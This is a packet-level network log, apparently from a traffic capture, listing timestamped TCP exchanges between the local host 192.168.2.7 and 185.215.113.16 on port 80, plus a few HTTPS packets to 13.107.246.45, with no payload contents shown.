Nov 15, 2024 19:39:36.986403942 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.986412048 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.986435890 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.986439943 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.986677885 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.986691952 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.986706972 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.986720085 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.986725092 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.986735106 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.986749887 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.986758947 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.986759901 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.986763954 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.986778021 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.986790895 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.986799002 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.986805916 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.986824036 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.986829042 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.986840963 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.986845016 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.986859083 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.986881018 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.986887932 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.986896038 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.986910105 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.986924887 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.986938000 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.986944914 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.986944914 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.986954927 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.986968994 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.986983061 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.986984015 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.987003088 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.987009048 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.987013102 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.987015963 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.987019062 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.987032890 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.987046003 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.987060070 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.987076044 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.987078905 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.987078905 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.987088919 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.987102032 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.987104893 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.987119913 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.987121105 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.987134933 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.987153053 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.987468958 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.987514019 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.987608910 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.987623930 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.987637997 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.987652063 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.987665892 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.987679958 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.987694979 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.987695932 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.987709045 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.987721920 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.987728119 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.987739086 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.987756014 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.987761021 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.987776041 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.987782955 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.987785101 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.987798929 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.987812996 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.987827063 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.987833023 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.987840891 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.987850904 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.987854958 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.987869024 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.987870932 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.987884998 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.987899065 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.987905025 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.987925053 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.987968922 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.987982988 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.987997055 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.988009930 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.988023996 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.988038063 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.988049030 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.988049030 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.988051891 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.988066912 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.988087893 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.988092899 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.988094091 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.988101959 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.988116980 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.988130093 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.988135099 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.988147020 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.988152027 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.988209009 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.988447905 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.988462925 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.988477945 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.988492966 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.988506079 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.988521099 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.988523006 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.988538027 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.988542080 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.988576889 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.988611937 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.988629103 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.988646984 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.988661051 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.988673925 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.988688946 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.988693953 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.988693953 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.988703012 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.988717079 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.988718987 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.988733053 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.988738060 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.988751888 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.988775969 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.988801003 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.988817930 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.988831043 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.988847017 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.988859892 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.988867998 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.988873959 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.988886118 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.988888025 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.988903046 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.988904953 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.988917112 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.988925934 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.988931894 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.988945961 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.988960028 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.988962889 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.988974094 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.988987923 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.988991976 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.989001989 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.989010096 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.989022017 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.989036083 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.989043951 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.989051104 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.989063978 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.989125967 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.989146948 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.989437103 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.989450932 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.989465952 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.989480019 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.989494085 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.989507914 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.989507914 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.989522934 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.989527941 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.989547014 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.989598989 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.989614964 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.989629030 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.989644051 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.989656925 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.989670992 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.989685059 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.989696026 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.989696026 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.989696026 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.989698887 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.989712954 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.989738941 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.989741087 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.989738941 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.989759922 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.989761114 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.989762068 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.989763975 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.989778042 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.989794016 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.989808083 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.989821911 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.989830017 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.989830971 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.989837885 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.989842892 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.989856005 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.989856958 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.989871979 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.989877939 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.989886045 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.989897013 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.989902020 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.989914894 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.989929914 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.989936113 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.989953041 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.990241051 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.990307093 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.990407944 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.990425110 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.990438938 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.990452051 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.990466118 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.990479946 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.990488052 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.990488052 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.990494013 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.990509033 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.990513086 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.990523100 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.990536928 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.990550995 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.990554094 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.990565062 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.990578890 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.990582943 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.990593910 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.990603924 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.990715981 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.098933935 CET	443	49822	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:37.099533081 CET	49822	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:37.099550009 CET	443	49822	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:37.100003004 CET	49822	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:37.100007057 CET	443	49822	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:37.100404024 CET	443	49823	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:37.100696087 CET	49823	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:37.100708008 CET	443	49823	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:37.101010084 CET	49823	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:37.101013899 CET	443	49823	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:37.162385941 CET	443	49824	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:37.163304090 CET	49824	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:37.163325071 CET	443	49824	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:37.163839102 CET	49824	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:37.163844109 CET	443	49824	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:37.190754890 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.195833921 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.195858955 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.195873976 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.195895910 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.195909977 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.195923090 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.195930958 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.195950031 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.195995092 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.196002007 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.196016073 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.196029902 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.196044922 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.196053028 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.196072102 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.196233034 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.196247101 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.196260929 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.196274996 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.196288109 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.196299076 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.196301937 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.196315050 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.196322918 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.196330070 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.196343899 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.196356058 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.196388960 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.196577072 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.196593046 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.196605921 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.196619987 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.196634054 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.196644068 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.196647882 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.196661949 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.196666956 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.196676970 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.196686983 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.196691036 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.196707010 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.196712971 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.196721077 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.196733952 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.196747065 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.196748018 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.196762085 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.196768045 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.196779013 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.196791887 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.196800947 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.196805954 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.196820021 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.196821928 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.196858883 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.197014093 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.197029114 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.197042942 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.197057009 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.197077036 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.197089911 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.197093964 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.197107077 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.197129965 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.197277069 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.197292089 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.197305918 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.197319031 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.197329044 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.197334051 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.197346926 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.197360992 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.197361946 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.197376013 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.197379112 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.197388887 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.197403908 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.197417021 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.197421074 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.197431087 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.197432041 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.197446108 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.197459936 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.197474003 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.197477102 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.197488070 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.197499990 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.197501898 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.197515965 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.197530031 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.197530031 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.197545052 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:37.197546005 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:37.197559118 CET	80	49802	185.215.113.16	192.168.2.7
